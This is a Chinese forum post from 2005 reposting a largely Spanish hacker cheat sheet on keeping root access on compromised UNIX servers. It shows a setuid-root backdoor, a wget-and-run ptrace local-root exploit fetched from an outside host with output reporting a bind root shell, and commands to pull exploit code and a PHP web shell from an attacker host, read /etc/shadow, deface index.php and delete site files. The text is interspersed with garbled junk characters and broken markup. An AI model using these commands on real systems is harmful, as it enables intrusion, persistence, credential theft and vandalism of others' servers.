QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 4893|回复: 0
打印 上一主题 下一主题

总结UNIX成为root以后保持权限的方法

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2005-2-4 23:57 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
<><FONT color=#ff0000>by:cnbird</FONT></P>) l5 r' N. D. g$ `/ P0 V5 R) }; Y
<>1.</P>" t3 E/ w2 A. U% s& ^
<>[cnbird@localhost tmp]#id</P>
0 A$ ~! K" F9 [<>uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk)</P>
# T  _$ O0 p- l$ j2 b) v. a<>[cnbird@localhost tmp]#cp `which id ` .</P>/ i+ i. {# R: B. o8 T
<>[cnbird@localhost tmp]#chown root ./id</P>0 ~7 C$ ~& M# \  q. F9 c
<>[cnbird@localhost tmp]#chmod 755 ./id ; chmod u+s ./id</P>
1 r- A$ w/ Z$ V  e5 i6 U* A<>[cnbird@localhost tmp]#ls -l ./id</P>0 ]" B; B' a7 W. T
<>-rwsr-xr-x 1 root root 9264 Mar 8 21:36 ./id*</P>2 N' ]1 S3 a8 H1 X
<>[cnbird@localhost tmp]#exit</P>
" \! d2 ?$ d: U6 r<>[cnbird@localhost tmp]$id</P>) v# n* N' j' t* i% O  W) ~
<>uid=500(cnbird) gid=500(cnbird) groups=500(cnbird)</P>
5 O0 C9 u) s& d6 q2 k' Z, u<>[cnbird@localhost tmp]$./id </P>
5 r' W* N- u' d. t<>uid=500(cnbird) gid=500(cnbird) euid=0(root) groups=500(cnbird)</P>
9 T# R5 L* o4 [7 `% t- o3 k0 ]<>2.利用ptrace成为root的方法</P>
3 T1 Q( m, c( D" y. H<>[bash]# cd /tmp/; wget <a href="http://delivered.informaticahispana.org/ptrace.c" target="_blank" ><FONT color=#0000ff>http://delivered.informaticahispana.org/ptrace.c</FONT></A>; gcc ptrace.c -o ptrace; chmod -c 777 ptrace; ./ptrace
) U+ c' k' R9 C  D-&gt; Parent's PID is 2313. Child's PID is 2314.7 e. S* J2 W1 ?; ?& ]
-&gt; Attaching to 2315...& M% f4 C0 H, Z& u$ ]9 ^. F
-&gt; Got the thread!!2 _( m7 B4 D) M: n) F; @- |, A6 t
-&gt; Waiting for the next signal...
# |; F% c# y2 Z/ ]6 o-&gt; Injecting shellcode at 0x4000e85d9 [1 ]4 v4 U& P2 }' O1 N4 I
-&gt; Bind root shell on port 24876... =p3 M( _7 a: [8 R  b: R  n9 e
-&gt; Detached from modprobe thread.. d* t$ P) r% U# @/ h9 L+ h
-&gt; Committing suicide.....</P>. e  O: x4 ]. _
<>[bash]# id
; a# {- Q' G6 j* f, N! @1 auid=0(root) gid=0(root) groups=0(root)</P>
! V5 R2 w. r! i0 a) s: V8 m3 d! n<>ara ver los dominios que hay en el server:
, v. V- Y* J8 a: P5 K---------------------------------------------------------& N" B: f7 S/ `! W- d
cat /etc/httpd/conf/httpd.conf|grep ServerName &lt;&lt; Solo salen los dominios
( f( [8 z5 o8 Q2 G) L& ycat /etc/httpd/conf/httpd.conf &lt;&lt; Unicamente los puros dominios. G& f) Q4 ?# v
cat /etc/localdomains &lt;&lt; Unicamente los dominios locales0 B2 e6 C; E6 m) }6 `6 }+ V
cat /etc/trueuserdomains &lt;&lt; Revela los verdades propietarios de cada dominio 6 q5 ~/ ~4 s( y$ g
cat /etc/userdomains &lt;&lt; Este es el mas comun
; `+ K$ e, H; O% Q4 x/ R---------------------------------------------------------</P>
% j3 N1 G$ d# s- i; }<>ara ver la version de kernel:
4 F% D" Q3 F* m: I9 ^$ w. v4 W---------------------------------------------------------
$ e% N$ z! F1 i/ Z7 {5 u# w  ?  Suname -a &lt;&lt;Te sale algo asi Linux itys.host4u.net 2.4.20....., 2.4.20 viene siendo la version del kernel.
5 T6 q3 h4 |" ?! B, a& d4 Q---------------------------------------------------------</P># i- u' L" M, E
<>ara modificar un index ya existente:
0 w4 g& R& L" K$ D3 a3 ]---------------------------------------------------------1 t/ X2 r, e1 r! A
echo "RootBox was OwNz You"&gt;index.php &lt;&lt;sobreescribe el archivo index.php con nuevo contenido% g! W" s8 X8 O/ Y/ X9 N, F
---------------------------------------------------------</P>
$ }+ H' ^: G4 L  ?% O3 m7 t, E<>ara subir, compilar, darle permisos de ejecucion y ejecutar un exploit:$ X5 I2 H( ?; b6 Q* n
---------------------------------------------------------
4 o( p8 \" y% d1 y% Gcd /tmp/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/exploit.c"&gt;<FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/exploit.c</FONT></A> &lt;&lt;aqui subimos el exploit
1 b3 h/ z4 A5 K, Tcd /tmp/;cc exploit.c -o exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui lo compilamos con el nombre de "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado" 7 s$ P4 |. {- Z, ]
cd /tmp/;chmod -c 777 exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui le damos permisos de ejecucion a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"
5 _* o2 i2 A) o; O1 k. H. jcd /tmp/;./exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui estamos ejecutando a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado".
5 j. V$ y8 E4 JHasta aqui termina el proceso para un exploit.
1 y; \4 Y( j) L6 \---------------------------------------------------------</P>9 H% M; X6 T' V, o. G& U2 d* E
<>Ver las contrase&ntilde;as encriptadas de todos los usuarios:, H- }$ |8 w4 m! P/ D
---------------------------------------------------------
4 a5 }; R2 F8 r( |cat /etc/shadow &lt;&lt;Solo funciona si tienes permisos como root.& e) A- R7 L0 p; S* m: \
---------------------------------------------------------</P>
' C  o! Q4 x0 J<>Borrar un Ficher
3 ~. L3 f. U3 n3 H0 u2 d---------------------------------------------------------
* d; E: Y( E! W+ _+ tcd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;rm import.htm&lt;&lt;aqui estan borrando con el comando rm, el fichero import.htm3 G6 T! Q% a" u
---------------------------------------------------------</P>4 D# X# U7 C" z$ @' {
<>Subir un ficher0 f: ^" y8 O, a" C* e0 e) E
---------------------------------------------------------! n  G* z  G7 X, f* n
cd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/shell.php&lt;<ESTAMOS"><FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/shell.php&lt;&lt;Estamos</FONT></A> subiendo el fichero shell.php</P>
7 u1 D& O4 q7 e5 M# F4 k+ o9 _<>
& p" Y0 Q8 f8 c% b3 j  M, Z<CENTER></CENTER>
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2025-9-30 23:37 , Processed in 0.413581 second(s), 51 queries .

回顶部